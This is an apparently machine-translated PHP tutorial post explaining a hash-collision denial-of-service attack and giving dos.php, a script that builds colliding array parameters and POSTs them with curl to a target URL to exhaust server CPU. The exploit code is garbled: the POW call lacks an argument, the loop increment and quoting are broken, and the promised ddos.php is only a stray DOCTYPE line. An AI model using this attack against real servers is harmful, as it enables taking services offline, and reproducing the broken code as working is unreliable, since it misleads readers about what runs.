Analysis of the method of DDoS attack using hash conflict vulnerability in PHP _php techniques

In this paper, we analyze the method of using the hash conflict vulnerability to DDoS attack in PHP. Share to everyone for your reference. The specific analysis is as follows:

first of all: The content of this article is only used to study and use, do not use illegal!

As mentioned in the previous hash table collision vulnerability, including Java, Python, PHP, and many other common language has not been spared, tonight we come to the actual look at its power.

Attack principle:

When a set of carefully-pieced array parameters are sent to the target server and the array parameters received by the underlying processing of the language are reached, the CPU consumption due to the existence of the vulnerability causes the server to run out of resources.
Do not use any fancy gimmick, the simple implementation of PHP to see under the effect, point to stop.

File: dos.php

Target Address 
//As long as the target address exists, do not care what it is 
$host = ' http://127.0.0.1/test.php ';
$data = ';
$size = POW (2);
For ($key =0, $max = ($size-1) * $size; $key <= $max; $key = = $size)
{
  $data. = ' &array['. $key. ']=0 ';
}
$ret = Curl ($host, LTrim ($data, ' & ')); 
Var_dump ($ret); 
Function Curl ($url, $post, $timeout =) {
  $ch = Curl_init ();
  curl_setopt ($ch, Curlopt_returntransfer, true);
  curl_setopt ($ch, Curlopt_timeout, $timeout); 
  curl_setopt ($ch, Curlopt_connecttimeout, $timeout-5);
  curl_setopt ($ch, Curlopt_httpheader, Array (' Expect: '));
  curl_setopt ($ch, Curlopt_url, $url);
  curl_setopt ($ch, Curlopt_post, true);
  curl_setopt ($ch, Curlopt_postfields, $post);
  $output = curl_exec ($ch);
  if ($output = = false) return false;
  $info = Curl_getinfo ($ch);
  $http _code = $info [' Http_code '];
  if ($http _code = = 404) return false;
  Curl_close ($ch);
  return $output;
}

File: ddos.php

<! DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 transitional//en" "Http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd "> 
 
 

I hope this article will help you with your PHP program design.